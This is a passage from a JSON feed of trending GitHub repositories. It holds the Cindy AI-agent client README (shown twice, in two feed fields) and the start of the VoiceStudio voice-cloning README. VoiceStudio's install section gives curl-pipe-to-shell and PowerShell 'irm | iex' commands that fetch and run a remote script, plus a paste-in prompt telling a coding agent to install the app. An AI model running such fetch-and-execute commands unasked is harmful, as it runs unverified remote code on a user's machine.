<th>Path</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><code>apps/desktop</code></td> \n   <td>Electron desktop client</td> \n  </tr> \n  <tr> \n   <td><code>apps/mobile</code></td> \n   <td>Expo / React Native mobile client</td> \n  </tr> \n  <tr> \n   <td><code>packages/*</code></td> \n   <td>Shared client capabilities (auth, device-link, agent orchestration, model providers, \u2026)</td> \n  </tr> \n  <tr> \n   <td><code>apps/*-bin</code></td> \n   <td>Tool binaries shipped with the desktop app; none are committed \u2014 claude-code, codex, and ripgrep are downloaded per platform by <code>pnpm install</code>, and the Android platform-tools binaries are fetched (pinned version, sha256-verified) before Windows packaging</td> \n  </tr> \n </tbody> \n</table> \n<p><strong>Not in this repo:</strong> the backend service lives in a separate repository and is not part of this monorepo.</p> \n<table> \n <thead> \n  <tr> \n   <th>Mode</th> \n   <th>Account requirement</th> \n   <th>Availability</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>Hosted service</td> \n   <td>Cindy cloud account</td> \n   <td>Use Cindy's full hosted service. See <a href=\"https://cindy.app/#pricing\">pricing</a>.</td> \n  </tr> \n  <tr> \n   <td>Skip Sign-In</td> \n   <td>No Cindy sign-in required</td> \n   <td>Choose \u201cSkip Sign-In\u201d on the login screen to use local agents; the app then shows the account state as \u201cNot signed in\u201d. Server-backed capabilities are unavailable in this state.</td> \n  </tr> \n </tbody> \n</table> \n<h2>Prerequisites</h2> \n<ul> \n <li><strong>Node.js</strong> 22.x</li> \n <li><strong>pnpm</strong> 10.x (v11 is not yet supported)</li> \n <li><strong>Git LFS</strong></li> \n</ul> \n<h2>Getting started</h2> \n<p>Contributor setup, Git LFS, dependency updates, and access requirements are maintained in <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/CONTRIBUTING.en.md\"><code>CONTRIBUTING.en.md</code></a>. Plugins are installed through SkillHub or manually.</p> \n<p>Minimal entry point:</p> \n<pre><code class=\"language-bash\">git clone https://github.com/makecindy/cindy.git\ncd cindy\ngit lfs pull\npnpm install\n</code></pre> \n<h2>Development entry points</h2> \n<pre><code class=\"language-bash\"># Mainland China Cindy account\npnpm restart:desktop:remote --region=cn\n\n# Global Cindy account\npnpm restart:desktop:remote --region=global\n</code></pre> \n<p>Remote development uses your own Cindy cloud account and existing login state, so you can continue existing sessions and work while developing the client. Use <code>cn</code> for Mainland China accounts and <code>global</code> for everyone else; do not rely on the internal default. Full desktop, mobile, data-isolation, and validation workflows are in <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/CONTRIBUTING.en.md\"><code>CONTRIBUTING.en.md</code></a>.</p> \n<p>\u201cSkip Sign-In\u201d on the login screen runs local agents without a Cindy account (shown in the app as \u201cNot signed in\u201d), not a connection to a local server. Server-backed capabilities are unavailable in this state.</p> \n<p><strong>About the default servers:</strong> the client connects to Cindy's official cloud services by default (endpoint manifests in <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/config/endpoint.json\"><code>config/endpoint.json</code></a> and <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/config/endpoint.global.json\"><code>config/endpoint.global.json</code></a>; desktop auto-updates also come from the official CDN). This is intentional \u2014 external developers don't need to self-host a server: sign in with your own Cindy account in a dev build and develop / test directly against the official servers.</p> \n<p>Skill Hub migration uses two separate manifest fields: released clients keep using <code>skillhubApiBaseUrl</code> (the deprecated XD proxy), while current clients use <code>cindySkillHubApiBaseUrl</code>. The current client deliberately does not fall back to the legacy field when the new endpoint is absent.</p> \n<h2>Architecture</h2> \n<ul> \n <li><a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/DESIGN.md\"><code>DESIGN.md</code></a> \u2014 visual design system, color tokens, and UI conventions</li> \n <li><a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/docs/README.md\"><code>docs/README.md</code></a> \u2014 complete documentation and rules index</li> \n <li><a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/docs/auth-realm-routing.md\"><code>docs/auth-realm-routing.md</code></a> \u2014 organization SSO region discovery and session endpoint routing</li> \n <li><a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/CONTRIBUTING.en.md\"><code>CONTRIBUTING.en.md</code></a> \u2014 contributor setup, validation, and submission workflow</li> \n <li><a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/AGENTS.md\"><code>AGENTS.md</code></a> \u2014 engineering rules, launch/runtime contracts, and module boundaries</li> \n <li><a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/docs/dev-rules/\"><code>docs/dev-rules/</code></a> \u2014 deep-dive architecture docs (e.g. Orca multi-agent orchestration)</li> \n</ul> \n<h2>Contributing</h2> \n<p>Contributions go through pull requests into <code>main</code>. Read <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/CONTRIBUTING.en.md\"><code>CONTRIBUTING.en.md</code></a> first, then use <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/.github/PULL_REQUEST_TEMPLATE.md\"><code>.github/PULL_REQUEST_TEMPLATE.md</code></a>. Every commit needs a <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/DCO\">Developer Certificate of Origin</a> sign-off (<code>git commit -s</code>); a DCO check on each pull request enforces it, and no CLA is required. Please also follow <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/CODE_OF_CONDUCT.en.md\"><code>CODE_OF_CONDUCT.en.md</code></a>. For ordinary usage questions, see <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/SUPPORT.en.md\"><code>SUPPORT.en.md</code></a>; report security issues privately through <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/SECURITY.en.md\"><code>SECURITY.en.md</code></a>.</p> \n<h2>Security</h2> \n<p>Never commit credentials or authorization files to the working tree. If you discover a security issue, follow <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/SECURITY.en.md\"><code>SECURITY.en.md</code></a> to report it privately rather than opening a public issue.</p> \n<h2>Privacy &amp; telemetry</h2> \n<p><strong>Official distribution builds</strong> include <a href=\"https://www.taptap.io/tapdb\">TapDB</a> usage analytics for product-level aggregate statistics (device / OS / app-version metadata; associated with your account ID after sign-in). It does <strong>not</strong> collect chat content, file content, or working-directory data. In addition, while signed in to a cloud account the client sends an online heartbeat to Cindy services (account ID, platform, and version only). Crash dumps stay on the local machine and are never uploaded automatically.</p> \n<p><strong>Building from source?</strong> You are not required to keep analytics:</p> \n<ul> \n <li>Mobile is off by default \u2014 without TapDB credentials (<code>clientId</code> / <code>clientToken</code>) injected at build time, <code>apps/mobile/src/analytics/mobileTapdb.ts</code> is a no-op;</li> \n <li>Desktop can be fully stripped by removing the <code>initTapdb()</code> call in <code>apps/desktop/src/renderer/index.tsx</code> (implementation lives in <code>apps/desktop/src/renderer/analytics/</code>).</li> \n</ul> \n<h2>License / \u8bb8\u53ef\u8bc1</h2> \n<p>Except as otherwise noted, the source code in this repository is licensed under the <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/LICENSE\">Apache License, Version 2.0</a>. Individual source files do not carry per-file license headers; the repository-root <code>LICENSE</code> governs.</p> \n<p>Model weights, datasets, prompts, trademarks, and other separately identified materials may be subject to their own license terms and are not automatically covered by the repository-level Apache-2.0 grant. Third-party open-source components retain their own copyright and license. Their attribution notices and SPDX SBOMs are managed under <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/docs/legal/\"><code>docs/legal/</code></a>, with artifact-specific outputs in <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/docs/legal/notices/\"><code>docs/legal/notices/</code></a>. See <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/NOTICE\"><code>NOTICE</code></a> for this project's copyright and attribution information.</p>", "summary": "<p>Consider it done. The open-source AI agent that works out of the box \u00b7 \u60f3\u5230\uff0c\u5c31\u80fd\u505a\u5230\u3002\u5f00\u6e90\u3001\u5f00\u7bb1\u5373\u7528\u7684 AI Agent\u3002</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://cindy.app\">https://cindy.app</a></p><hr /><p align=\"center\"> <a href=\"https://cindy.app\"><img alt=\"CINDY \u2014 Consider it done. The open-source AI agent that works out of the box, doing real work on your own computer.\" src=\"https://raw.githubusercontent.com/makecindy/cindy/main/.github/assets/hero-en.webp\" width=\"100%\" /></a> </p> \n<p align=\"center\"> <strong>English</strong> \u00b7 <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/README.zh-CN.md\">\u7b80\u4f53\u4e2d\u6587</a> </p> \n<p align=\"center\"> <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/LICENSE\"><img alt=\"License\" src=\"https://img.shields.io/badge/license-Apache--2.0-blue.svg?sanitize=true\" /></a> <a href=\"https://github.com/makecindy/cindy/actions/workflows/ci.yml\"><img alt=\"CI\" src=\"https://github.com/makecindy/cindy/actions/workflows/ci.yml/badge.svg?sanitize=true\" /></a> <a href=\"https://nodejs.org\"><img alt=\"Node.js 22.x\" src=\"https://img.shields.io/badge/node-22.x-brightgreen.svg?sanitize=true\" /></a> <a href=\"https://pnpm.io\"><img alt=\"pnpm\" src=\"https://img.shields.io/badge/pnpm-10-orange.svg?sanitize=true\" /></a> </p> \n<p align=\"center\"> \ud83c\udf10 <a href=\"https://cindy.app\">cindy.app</a> &nbsp;\u00b7&nbsp; \u2b07\ufe0f <a href=\"https://cindy.app/download/\">Download</a> </p> \n<p>Cindy is an open-source AI agent that works out of the box. She brings multiple harnesses, models and tools into one agent that finishes real work in your projects and apps. Ready from day one, yours to shape over time.</p> \n<p>Cindy runs locally on your own machine, using your real files and logged-in apps. The first supported harnesses are <strong>Claude Code</strong> and <strong>Codex</strong> \u2014 more are being added, and a native harness is in the works. Models and harnesses mix freely and can switch mid-task while your workspace, memory, skills and tools stay continuous; one task can even be planned, executed in parallel, and reviewed by agents on different harness \u00d7 model combos. She can drive your browser, computer and phone, and take work from IM and schedules.</p> \n<p>This repository is the open-source <strong>client</strong> for Cindy \u2014 the desktop and mobile apps plus their shared packages, organized as a pnpm monorepo.</p> \n<p>The client is free to use, and its source code is open under Apache-2.0. Bring models your way: sign in to the official Cindy service (usage deducted transparently), authorize the <strong>Claude Code / Codex Coding Plan</strong> you already pay for and keep using it inside Cindy \u2014 no duplicate bill \u2014 connect your own API keys, or use local models. See <a href=\"https://cindy.app\">cindy.app</a> for service details, <a href=\"https://cindy.app/#pricing\">pricing</a>, and <a href=\"https://cindy.app/download/\">downloads</a>.</p> \n<p>Linux users: see the <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/docs/linux.md\">Ubuntu, Arch Linux and Omarchy installation guide</a> for installation, updates, keyring setup and migration from a manual install.</p> \n<h2>Yours to shape</h2> \n<p>Open source means more than visible \u2014 it means changeable:</p> \n<ul> \n <li><strong>Memory</strong> \u2014 correct her once and she does it right from then on, shared across harnesses.</li> \n <li><strong>Skills</strong> \u2014 teach a way of working once and reuse it everywhere; handing them to your team is in the making.</li> \n <li><strong>Automation</strong> \u2014 recurring work schedules itself, runs itself, reports back.</li> \n <li><strong>MCP</strong> \u2014 wire your internal tools and business systems into her reach.</li> \n <li><strong>Plugins</strong> \u2014 reshape features, UI and interactions, shared through an open marketplace <em>(in the making)</em>.</li> \n <li><strong>Source</strong> \u2014 audit, fork, extend, and contribute improvements back under Apache-2.0.</li> \n</ul> \n<p>Ready out of the box, never boxed in \u2014 start with <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/CONTRIBUTING.en.md\"><code>CONTRIBUTING.en.md</code></a> and build Cindy with us.</p> \n<h2>What's in this repo</h2> \n<table> \n <thead> \n  <tr> \n   <th>Path</th> \n   <th>Description</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td><code>apps/desktop</code></td> \n   <td>Electron desktop client</td> \n  </tr> \n  <tr> \n   <td><code>apps/mobile</code></td> \n   <td>Expo / React Native mobile client</td> \n  </tr> \n  <tr> \n   <td><code>packages/*</code></td> \n   <td>Shared client capabilities (auth, device-link, agent orchestration, model providers, \u2026)</td> \n  </tr> \n  <tr> \n   <td><code>apps/*-bin</code></td> \n   <td>Tool binaries shipped with the desktop app; none are committed \u2014 claude-code, codex, and ripgrep are downloaded per platform by <code>pnpm install</code>, and the Android platform-tools binaries are fetched (pinned version, sha256-verified) before Windows packaging</td> \n  </tr> \n </tbody> \n</table> \n<p><strong>Not in this repo:</strong> the backend service lives in a separate repository and is not part of this monorepo.</p> \n<table> \n <thead> \n  <tr> \n   <th>Mode</th> \n   <th>Account requirement</th> \n   <th>Availability</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>Hosted service</td> \n   <td>Cindy cloud account</td> \n   <td>Use Cindy's full hosted service. See <a href=\"https://cindy.app/#pricing\">pricing</a>.</td> \n  </tr> \n  <tr> \n   <td>Skip Sign-In</td> \n   <td>No Cindy sign-in required</td> \n   <td>Choose \u201cSkip Sign-In\u201d on the login screen to use local agents; the app then shows the account state as \u201cNot signed in\u201d. Server-backed capabilities are unavailable in this state.</td> \n  </tr> \n </tbody> \n</table> \n<h2>Prerequisites</h2> \n<ul> \n <li><strong>Node.js</strong> 22.x</li> \n <li><strong>pnpm</strong> 10.x (v11 is not yet supported)</li> \n <li><strong>Git LFS</strong></li> \n</ul> \n<h2>Getting started</h2> \n<p>Contributor setup, Git LFS, dependency updates, and access requirements are maintained in <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/CONTRIBUTING.en.md\"><code>CONTRIBUTING.en.md</code></a>. Plugins are installed through SkillHub or manually.</p> \n<p>Minimal entry point:</p> \n<pre><code class=\"language-bash\">git clone https://github.com/makecindy/cindy.git\ncd cindy\ngit lfs pull\npnpm install\n</code></pre> \n<h2>Development entry points</h2> \n<pre><code class=\"language-bash\"># Mainland China Cindy account\npnpm restart:desktop:remote --region=cn\n\n# Global Cindy account\npnpm restart:desktop:remote --region=global\n</code></pre> \n<p>Remote development uses your own Cindy cloud account and existing login state, so you can continue existing sessions and work while developing the client. Use <code>cn</code> for Mainland China accounts and <code>global</code> for everyone else; do not rely on the internal default. Full desktop, mobile, data-isolation, and validation workflows are in <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/CONTRIBUTING.en.md\"><code>CONTRIBUTING.en.md</code></a>.</p> \n<p>\u201cSkip Sign-In\u201d on the login screen runs local agents without a Cindy account (shown in the app as \u201cNot signed in\u201d), not a connection to a local server. Server-backed capabilities are unavailable in this state.</p> \n<p><strong>About the default servers:</strong> the client connects to Cindy's official cloud services by default (endpoint manifests in <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/config/endpoint.json\"><code>config/endpoint.json</code></a> and <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/config/endpoint.global.json\"><code>config/endpoint.global.json</code></a>; desktop auto-updates also come from the official CDN). This is intentional \u2014 external developers don't need to self-host a server: sign in with your own Cindy account in a dev build and develop / test directly against the official servers.</p> \n<p>Skill Hub migration uses two separate manifest fields: released clients keep using <code>skillhubApiBaseUrl</code> (the deprecated XD proxy), while current clients use <code>cindySkillHubApiBaseUrl</code>. The current client deliberately does not fall back to the legacy field when the new endpoint is absent.</p> \n<h2>Architecture</h2> \n<ul> \n <li><a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/DESIGN.md\"><code>DESIGN.md</code></a> \u2014 visual design system, color tokens, and UI conventions</li> \n <li><a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/docs/README.md\"><code>docs/README.md</code></a> \u2014 complete documentation and rules index</li> \n <li><a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/docs/auth-realm-routing.md\"><code>docs/auth-realm-routing.md</code></a> \u2014 organization SSO region discovery and session endpoint routing</li> \n <li><a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/CONTRIBUTING.en.md\"><code>CONTRIBUTING.en.md</code></a> \u2014 contributor setup, validation, and submission workflow</li> \n <li><a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/AGENTS.md\"><code>AGENTS.md</code></a> \u2014 engineering rules, launch/runtime contracts, and module boundaries</li> \n <li><a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/docs/dev-rules/\"><code>docs/dev-rules/</code></a> \u2014 deep-dive architecture docs (e.g. Orca multi-agent orchestration)</li> \n</ul> \n<h2>Contributing</h2> \n<p>Contributions go through pull requests into <code>main</code>. Read <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/CONTRIBUTING.en.md\"><code>CONTRIBUTING.en.md</code></a> first, then use <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/.github/PULL_REQUEST_TEMPLATE.md\"><code>.github/PULL_REQUEST_TEMPLATE.md</code></a>. Every commit needs a <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/DCO\">Developer Certificate of Origin</a> sign-off (<code>git commit -s</code>); a DCO check on each pull request enforces it, and no CLA is required. Please also follow <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/CODE_OF_CONDUCT.en.md\"><code>CODE_OF_CONDUCT.en.md</code></a>. For ordinary usage questions, see <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/SUPPORT.en.md\"><code>SUPPORT.en.md</code></a>; report security issues privately through <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/SECURITY.en.md\"><code>SECURITY.en.md</code></a>.</p> \n<h2>Security</h2> \n<p>Never commit credentials or authorization files to the working tree. If you discover a security issue, follow <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/SECURITY.en.md\"><code>SECURITY.en.md</code></a> to report it privately rather than opening a public issue.</p> \n<h2>Privacy &amp; telemetry</h2> \n<p><strong>Official distribution builds</strong> include <a href=\"https://www.taptap.io/tapdb\">TapDB</a> usage analytics for product-level aggregate statistics (device / OS / app-version metadata; associated with your account ID after sign-in). It does <strong>not</strong> collect chat content, file content, or working-directory data. In addition, while signed in to a cloud account the client sends an online heartbeat to Cindy services (account ID, platform, and version only). Crash dumps stay on the local machine and are never uploaded automatically.</p> \n<p><strong>Building from source?</strong> You are not required to keep analytics:</p> \n<ul> \n <li>Mobile is off by default \u2014 without TapDB credentials (<code>clientId</code> / <code>clientToken</code>) injected at build time, <code>apps/mobile/src/analytics/mobileTapdb.ts</code> is a no-op;</li> \n <li>Desktop can be fully stripped by removing the <code>initTapdb()</code> call in <code>apps/desktop/src/renderer/index.tsx</code> (implementation lives in <code>apps/desktop/src/renderer/analytics/</code>).</li> \n</ul> \n<h2>License / \u8bb8\u53ef\u8bc1</h2> \n<p>Except as otherwise noted, the source code in this repository is licensed under the <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/LICENSE\">Apache License, Version 2.0</a>. Individual source files do not carry per-file license headers; the repository-root <code>LICENSE</code> governs.</p> \n<p>Model weights, datasets, prompts, trademarks, and other separately identified materials may be subject to their own license terms and are not automatically covered by the repository-level Apache-2.0 grant. Third-party open-source components retain their own copyright and license. Their attribution notices and SPDX SBOMs are managed under <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/docs/legal/\"><code>docs/legal/</code></a>, with artifact-specific outputs in <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/docs/legal/notices/\"><code>docs/legal/notices/</code></a>. See <a href=\"https://raw.githubusercontent.com/makecindy/cindy/main/NOTICE\"><code>NOTICE</code></a> for this project's copyright and attribution information.</p>", "image": null, "banner_image": null, "date_published": "2026-10-28T08:46:08Z", "date_modified": "2026-10-28T08:46:08Z", "authors": ["Unknown"], "tags": [], "language": null, "attachments": ["\n                            {\"url\": string, \n                            'mime_type': string, \n                            'title': strinrg,\n                            'size_in_bytes': int,\n                            'duration_in_seconds': int\n                            "]}, {"id": "https://github.com/debpalash/VoiceStudio", "url": "https://github.com/debpalash/VoiceStudio", "external_url": null, "title": "debpalash/VoiceStudio", "content_text": "", "content_html": "<p>VoiceStudio is the open-source, fully-local ElevenLabs alternative \u2014 voice cloning, voice design, video dubbing, dictation, transcription & audiobook creation in 646 languages.</p><p><img alt=\"link\" height=\"20\" src=\"https://mshibanami.github.io/GitHubTrendingRSS/assets/icons/link.png\" style=\"margin: 0 8px 0 0; padding: 0; display: inline-block; vertical-align: middle;\" width=\"20\" /><a href=\"https://voicestudio.sh\">https://voicestudio.sh</a></p><hr /><div align=\"center\"> \n <img alt=\"VoiceStudio\" src=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/logo.png\" width=\"88\" /> \n <h1>VoiceStudio</h1> \n <p> <a href=\"https://trendshift.io/repositories/28176?utm_source=repository-badge&amp;utm_medium=badge&amp;utm_campaign=badge-repository-28176\" rel=\"noopener noreferrer\" target=\"_blank\"><img alt=\"VoiceStudio ranking on Trendshift\" height=\"48\" src=\"https://trendshift.io/api/badge/repositories/28176\" width=\"220\" /></a> </p> \n <p><strong>Open-source voice cloning, voice design, video dubbing, dictation, transcription &amp; audiobook creation in 646 languages.</strong></p> \n <p> <a href=\"https://voicestudio.sh/?utm_source=github&amp;utm_medium=readme&amp;utm_campaign=project\">Website</a> \u00b7 <a href=\"https://github.com/debpalash/VoiceStudio/releases/latest\">Download</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/#get-started\">Get started</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/#documentation\">Docs</a> \u00b7 <a href=\"https://discord.gg/bzQavDfVV9\">Discord</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/readme/README_CN.md\">\u7b80\u4f53\u4e2d\u6587</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/readme/README_JA.md\">\u65e5\u672c\u8a9e</a> </p> \n <p> <a href=\"https://github.com/debpalash/VoiceStudio/actions/workflows/ci.yml\"><img alt=\"CI\" src=\"https://img.shields.io/github/actions/workflow/status/debpalash/VoiceStudio/ci.yml?branch=main\" /></a> <a href=\"https://github.com/debpalash/VoiceStudio/releases/latest\"><img alt=\"Latest release\" src=\"https://img.shields.io/github/v/release/debpalash/VoiceStudio\" /></a> <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/LICENSE\"><img alt=\"AGPL-3.0\" src=\"https://img.shields.io/badge/license-AGPL--3.0-blue\" /></a> <a href=\"https://supermetry.com\"><img alt=\"views\" src=\"https://app.supermetry.com/px/zfjiv7psp4ed.svg?c=VoiceStudio&amp;style=stats\" /></a> </p> \n</div> \n<p><img alt=\"A tour of the Electron app: voice cloning, voice design, dubbing, and model management\" src=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/media/electron/voicestudio.gif\" /></p> \n<h2>Your voice. Your workflow.</h2> \n<table> \n <thead> \n  <tr> \n   <th style=\"text-align: left;\">Create</th> \n   <th style=\"text-align: left;\">Produce</th> \n   <th style=\"text-align: left;\">Connect</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td style=\"text-align: left;\">Clone a voice or design your own</td> \n   <td style=\"text-align: left;\">Dub videos with timed speech</td> \n   <td style=\"text-align: left;\">Local API &amp; MCP for agents</td> \n  </tr> \n  <tr> \n   <td style=\"text-align: left;\">Dictate with a floating widget</td> \n   <td style=\"text-align: left;\">Stories, audiobooks &amp; batch jobs</td> \n   <td style=\"text-align: left;\">Reusable recipes &amp; watch folders</td> \n  </tr> \n </tbody> \n</table> \n<p>Start with <strong>VoiceStudio</strong> (default, powered by k2-fsa/OmniVoice), or choose another engine. <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/feature-catalog.md\">Features &amp; engine catalog</a>.</p> \n<p>Local workflows run on your hardware. Remote services are optional; usage analytics requires consent.</p> \n<details> \n <strong>Explore the workspaces</strong> \u00b7 Clone, dub, design &amp; models \n <table> \n  <tbody>\n   <tr> \n    <td><img alt=\"Electron voice cloning workspace with the bundled demo voice\" src=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/media/electron/voice-cloning.png\" width=\"100%\" /></td> \n    <td><img alt=\"Electron video dubbing workspace\" src=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/media/electron/dubbing.png\" width=\"100%\" /></td> \n   </tr> \n   <tr>\n    <td align=\"center\">Voice cloning</td>\n    <td align=\"center\">Video dubbing</td>\n   </tr> \n   <tr> \n    <td><img alt=\"Describe a voice in the Electron voice design workspace\" src=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/media/electron/voice-design.png\" width=\"100%\" /></td> \n    <td><img alt=\"Install and manage local speech models\" src=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/media/electron/models.png\" width=\"100%\" /></td> \n   </tr> \n   <tr>\n    <td align=\"center\">Voice design</td>\n    <td align=\"center\">Local models</td>\n   </tr> \n  </tbody>\n </table> \n <img alt=\"VoiceStudio desktop workspace\" height=\"1950\" src=\"https://github.com/user-attachments/assets/b474497d-a453-49a3-a2dd-f023ec6b7659\" width=\"2628\" /> \n</details> \n<p>OmniVoice GGUF source builds can optionally use Vulkan on Windows and Linux; see the <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/engines/omnivoice-gguf.md#optional-vulkan-acceleration\">native engine guide</a> for build requirements, CPU fallback, and device overrides.</p> \n<h2>Get started</h2> \n<h3>One-command install (macOS / Linux)</h3> \n<pre><code class=\"language-sh\"># Latest Electron release\ncurl -fsSL https://voicestudio.sh/install | sh\n\n# A specific published Electron release (replace X.Y.Z)\ncurl -fsSL https://voicestudio.sh/install | sh -s -- --version X.Y.Z\n\n# Build current main and install the desktop app\ncurl -fsSL https://voicestudio.sh/install | sh -s -- --main\n\n# Uninstall the app, keeping your data\ncurl -fsSL https://voicestudio.sh/install | sh -s -- --uninstall\n</code></pre> \n<p>On Windows, run <code>irm https://voicestudio.sh/install | iex</code> in PowerShell.</p> \n<p>If <code>voicestudio.sh/install</code> is unreachable or returns 404, run the same script straight from the repository, or clone it and run <code>scripts/install.sh</code>:</p> \n<pre><code class=\"language-bash\">curl -fsSL https://raw.githubusercontent.com/debpalash/VoiceStudio/main/scripts/install.sh | sh\n</code></pre> \n<p>Release downloads require curl and a SHA-256 tool. <code>--main</code> requires Git, Node.js 22+, Bun, Rust/Cargo, and platform build tools; see <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/install/script.md\">installer prerequisites and behavior</a>. The installer preserves your settings, projects, and models. Older versions must contain Electron packages; it never falls back to archived Tauri builds.</p> \n<p>Or download from <a href=\"https://github.com/debpalash/VoiceStudio/releases/latest\">Releases</a> (macOS <code>.dmg</code>, Windows <code>.exe</code>, Linux <code>.AppImage</code> or <code>.deb</code>) and follow your platform guide:</p> \n<p><strong><a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/install/macos.md\">macOS</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/install/windows.md\">Windows</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/install/linux.md\">Linux</a> \u00b7 <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/install/docker.md\">Docker</a></strong></p> \n<table> \n <thead> \n  <tr> \n   <th>Hardware</th> \n   <th>Support</th> \n  </tr> \n </thead> \n <tbody> \n  <tr> \n   <td>NVIDIA GPU (Windows / Linux)</td> \n   <td>CUDA acceleration</td> \n  </tr> \n  <tr> \n   <td>AMD Radeon / supported Ryzen AI (Windows)</td> \n   <td>CPU by default; <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/install/windows-rocm.md\">opt-in Windows ROCm setup</a> for AMD's Windows 11 hardware matrix. Setup distinguishes package repair from host failures; install the VC++ runtime manually first. Optional engines have separate limits; Vulkan engines retain their own runtime.</td> \n  </tr> \n  <tr> \n   <td>Apple Silicon</td> \n   <td>Metal (MPS) acceleration</td> \n  </tr> \n  <tr> \n   <td>AMD GPU</td> \n   <td>Opt-in native CosyVoice GGUF can use Vulkan when the community runtime is built with Vulkan; verified on RX 6700 XT (<a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/engines/cosyvoice-gguf.md\">setup</a>)</td> \n  </tr> \n  <tr> \n   <td>No dedicated GPU (Intel/AMD integrated graphics, older PCs)</td> \n   <td>Fully usable on the CPU, slower; setup installs the small CPU build of PyTorch (about 5 GB free disk)</td> \n  </tr> \n  <tr> \n   <td>Windows on ARM (Snapdragon X etc.)</td> \n   <td><strong>Experimental</strong>, validation pending: native ARM64 app, x64 Python backend under emulation, CPU only</td> \n  </tr> \n  <tr> \n   <td>Intel Mac</td> \n   <td>App UI only; connect to a remote backend (<a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/install/macos.md\">why</a>)</td> \n  </tr> \n </tbody> \n</table> \n<p>Open <strong>Voice cloning</strong>, choose a voice or add a clean reference recording, enter your text, and generate. Install the required model when prompted. Hardware needs vary by engine; see <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/performance.md\">performance</a>.</p> \n<h3>Install with prompt</h3> \n<p>Paste into your coding agent (Claude Code, Codex, Cursor, \u2026):</p> \n<pre><code class=\"language-text\">Install the VoiceStudio Electron app on this device and verify it works, following\nhttps://github.com/debpalash/VoiceStudio/blob/main/docs/install/agent.md\n</code></pre> \n<p>The <a href=\"https://raw.githubusercontent.com/debpalash/VoiceStudio/main/docs/install/agent.md\">agent guide</a> covers hardware detection, reusing existing data, asking before model downloads, and a test generation. Agents that support skills can also run <code>npx skills add debpalash/VoiceStudio</code>.</p> \n<details> \n <strong>Run the Electron preview from source</strong> \n <pre><code class=\"language-bash\">git clone https://github.com/debpalash/VoiceStudio.git\ncd VoiceStudio\nbun install\nbun run setup:api  # prepare Python dependencies 